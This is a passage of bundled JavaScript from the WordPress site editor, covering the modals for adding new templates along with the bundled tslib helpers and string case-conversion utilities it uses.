        children: (0,external_wp_i18n_namespaceObject.__)('This template will be used only for the specific item chosen.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SuggestionList, {
        entityForSuggestions: entityForSuggestions,
        onSelect: onSelect
      })]
    })]
  });
}
/* harmony default export */ const add_custom_template_modal_content = (AddCustomTemplateModalContent);

;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/lower-case/dist.es2015/index.js
/**
 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
 */
var SUPPORTED_LOCALE = {
    tr: {
        regexp: /\u0130|\u0049|\u0049\u0307/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    az: {
        regexp: /\u0130/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    lt: {
        regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
        map: {
            I: "\u0069\u0307",
            J: "\u006A\u0307",
            Į: "\u012F\u0307",
            Ì: "\u0069\u0307\u0300",
            Í: "\u0069\u0307\u0301",
            Ĩ: "\u0069\u0307\u0303",
        },
    },
};
/**
 * Localized lower case.
 */
function localeLowerCase(str, locale) {
    var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
    if (lang)
        return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
    return lowerCase(str);
}
/**
 * Lower case as a function.
 */
function lowerCase(str) {
    return str.toLowerCase();
}

;// ./node_modules/no-case/dist.es2015/index.js

// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
 * Normalize the string into something other libraries can manipulate easier.
 */
function noCase(input, options) {
    if (options === void 0) { options = {}; }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    // Trim the delimiter from around the output string.
    while (result.charAt(start) === "\0")
        start++;
    while (result.charAt(end - 1) === "\0")
        end--;
    // Transform each token independently.
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
 * Replace `re` in the input string with the replacement value.
 */
function replace(input, re, value) {
    if (re instanceof RegExp)
        return input.replace(re, value);
    return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}

;// ./node_modules/dot-case/dist.es2015/index.js


function dotCase(input, options) {
    if (options === void 0) { options = {}; }
    return noCase(input, __assign({ delimiter: "." }, options));
}

;// ./node_modules/param-case/dist.es2015/index.js


function paramCase(input, options) {
    if (options === void 0) { options = {}; }
    return dotCase(input, __assign({ delimiter: "-" }, options));
}

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-generic-template-modal-content.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




function AddCustomGenericTemplateModalContent({
  onClose,
  createTemplate
}) {
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const defaultTitle = (0,external_wp_i18n_namespaceObject.__)('Custom Template');
  const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
  async function onCreateTemplate(event) {
    event.preventDefault();
    if (isBusy) {
      return;
    }
    setIsBusy(true);
    try {
      await createTemplate({
        slug: 'wp-custom-template-' + paramCase(title || defaultTitle),
        title: title || defaultTitle
      }, false);
    } finally {
      setIsBusy(false);
    }
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    onSubmit: onCreateTemplate,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 6,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
        __next40pxDefaultSize: true,
        __nextHasNoMarginBottom: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Name'),
        value: title,
        onChange: setTitle,
        placeholder: defaultTitle,
        disabled: isBusy,
        help: (0,external_wp_i18n_namespaceObject.__)(
        // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
        'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        className: "edit-site-custom-generic-template__modal-actions",
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: () => {
            onClose();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          type: "submit",
          isBusy: isBusy,
          "aria-disabled": isBusy,
          children: (0,external_wp_i18n_namespaceObject.__)('Create')
        })]
      })]
    })
  });
}
/* harmony default export */ const add_custom_generic_template_modal_content = (AddCustomGenericTemplateModalContent);

;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */


/**
 * Internal dependencies
 */





const {
  useHistory: add_new_template_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const DEFAULT_TEMPLATE_SLUGS = ['front-page', 'home', 'single', 'page', 'index', 'archive', 'author', 'category', 'date', 'tag', 'search', '404'];
const TEMPLATE_ICONS = {
  'front-page': library_home,
  home: library_verse,
  single: library_pin,
  page: library_page,
  archive: library_archive,
  search: library_search,
  404: not_found,
  index: library_list,
  category: library_category,
  author: comment_author_avatar,
  taxonomy: block_meta,
  date: library_calendar,
  tag: library_tag,
  attachment: library_media
};
function TemplateListItem({
  title,
  direction,
  className,
  description,
  icon,
  onClick,
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    className: className,
    onClick: onClick,
    label: description,
    showTooltip: !!description,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      as: "span",
      spacing: 2,
      align: "center",
      justify: "center",
      style: {
        width: '100%'
      },
      direction: direction,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "edit-site-add-new-template__template-icon",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
          icon: icon
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "edit-site-add-new-template__template-name",
        alignment: "center",
        spacing: 0,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          align: "center",
          weight: 500,
          lineHeight: 1.53846153846 // 20px
          ,
          children: title
        }), children]
      })]
    })
  });
}
const modalContentMap = {
  templatesList: 1,
  customTemplate: 2,
  customGenericTemplate: 3
};
function NewTemplateModal({
  onClose
}) {
  const [modalContent, setModalContent] = (0,external_wp_element_namespaceObject.useState)(modalContentMap.templatesList);
  const [entityForSuggestions, setEntityForSuggestions] = (0,external_wp_element_namespaceObject.useState)({});
  const [isSubmitting, setIsSubmitting] = (0,external_wp_element_namespaceObject.useState)(false);
  const missingTemplates = useMissingTemplates(setEntityForSuggestions, () => setModalContent(modalContentMap.customTemplate));
  const history = add_new_template_useHistory();
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createErrorNotice,
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // Site index.
    return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
  }, []);
  const TEMPLATE_SHORT_DESCRIPTIONS = {
    'front-page': homeUrl,
    date: (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: The homepage url.
    (0,external_wp_i18n_namespaceObject.__)('E.g. %s'), homeUrl + '/' + new Date().getFullYear())
  };
  async function createTemplate(template, isWPSuggestion = true) {
    if (isSubmitting) {
      return;
    }
    setIsSubmitting(true);
    try {
      const {
        title,
        description,
        slug
      } = template;
      const newTemplate = await saveEntityRecord('postType', TEMPLATE_POST_TYPE, {
        description,
        // Slugs need to be strings, so this is for template `404`
        slug: slug.toString(),
        status: 'publish',
        title,
        // This adds a post meta field in template that is part of `is_custom` value calculation.
        is_wp_suggestion: isWPSuggestion
      }, {
        throwOnError: true
      });

      // Navigate to the created template editor.
      history.navigate(`/${TEMPLATE_POST_TYPE}/${newTemplate.id}?canvas=edit`);
      createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Title of the created post or template, e.g: "Hello world".
      (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newTemplate.title?.rendered || title)), {
        type: 'snackbar'
      });
    } catch (error) {
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the template.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    } finally {
      setIsSubmitting(false);
    }
  }
  const onModalClose = () => {
    onClose();
    setModalContent(modalContentMap.templatesList);
  };
  let modalTitle = (0,external_wp_i18n_namespaceObject.__)('Add template');
  if (modalContent === modalContentMap.customTemplate) {
    modalTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: Name of the post type e.g: "Post".
    (0,external_wp_i18n_namespaceObject.__)('Add template: %s'), entityForSuggestions.labels.singular_name);
  } else if (modalContent === modalContentMap.customGenericTemplate) {
    modalTitle = (0,external_wp_i18n_namespaceObject.__)('Create custom template');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, {
    title: modalTitle,
    className: dist_clsx('edit-site-add-new-template__modal', {
      'edit-site-add-new-template__modal_template_list': modalContent === modalContentMap.templatesList,
      'edit-site-custom-template-modal': modalContent === modalContentMap.customTemplate
    }),
    onRequestClose: onModalClose,
    overlayClassName: modalContent === modalContentMap.customGenericTemplate ? 'edit-site-custom-generic-template__modal' : undefined,
    children: [modalContent === modalContentMap.templatesList && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
      columns: isMobile ? 2 : 3,
      gap: 4,
      align: "flex-start",
      justify: "center",
      className: "edit-site-add-new-template__template-list__contents",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
        className: "edit-site-add-new-template__template-list__prompt",
        children: (0,external_wp_i18n_namespaceObject.__)('Select what the new template should apply to:')
      }), missingTemplates.map(template => {
        const {
          title,
          slug,
          onClick
        } = template;
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateListItem, {
          title: title,
          direction: "column",
          className: "edit-site-add-new-template__template-button",
          description: TEMPLATE_SHORT_DESCRIPTIONS[slug],
          icon: TEMPLATE_ICONS[slug] || library_layout,
          onClick: () => onClick ? onClick(template) : createTemplate(template)
        }, slug);
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateListItem, {
        title: (0,external_wp_i18n_namespaceObject.__)('Custom template'),
        direction: "row",
        className: "edit-site-add-new-template__custom-template-button",
        icon: edit,
        onClick: () => setModalContent(modalContentMap.customGenericTemplate),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          lineHeight: 1.53846153846 // 20px
          ,
          children: (0,external_wp_i18n_namespaceObject.__)('A custom template can be manually applied to any post or page.')
        })
      })]
    }), modalContent === modalContentMap.customTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_custom_template_modal_content, {
      onSelect: createTemplate,
      entityForSuggestions: entityForSuggestions
    }), modalContent === modalContentMap.customGenericTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_custom_generic_template_modal_content, {
      onClose: onModalClose,
      createTemplate: createTemplate
    })]
  });
}
function NewTemplate() {
  const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      postType: getPostType(TEMPLATE_POST_TYPE)
    };
  }, []);
  if (!postType) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      variant: "primary",
      onClick: () => setShowModal(true),
      label: postType.labels.add_new_item,
      __next40pxDefaultSize: true,
      children: postType.labels.add_new_item
    }), showModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NewTemplateModal, {
      onClose: () => setShowModal(false)
    })]
  });
}
function useMissingTemplates(setEntityForSuggestions, onClick) {
  const existingTemplates = useExistingTemplates();
  const defaultTemplateTypes = useDefaultTemplateTypes();
  const existingTemplateSlugs = (existingTemplates || []).map(({
    slug
  }) => slug);
  const missingDefaultTemplates = (defaultTemplateTypes || []).filter(template => DEFAULT_TEMPLATE_SLUGS.includes(template.slug) && !existingTemplateSlugs.includes(template.slug));
  const onClickMenuItem = _entityForSuggestions => {
    onClick?.();
    setEntityForSuggestions(_entityForSuggestions);
  };
  // We need to replace existing default template types with
  // the create specific template functionality. The original
  // info (title, description, etc.) is preserved in the
  // used hooks.
  const enhancedMissingDefaultTemplateTypes = [...missingDefaultTemplates];
  const {
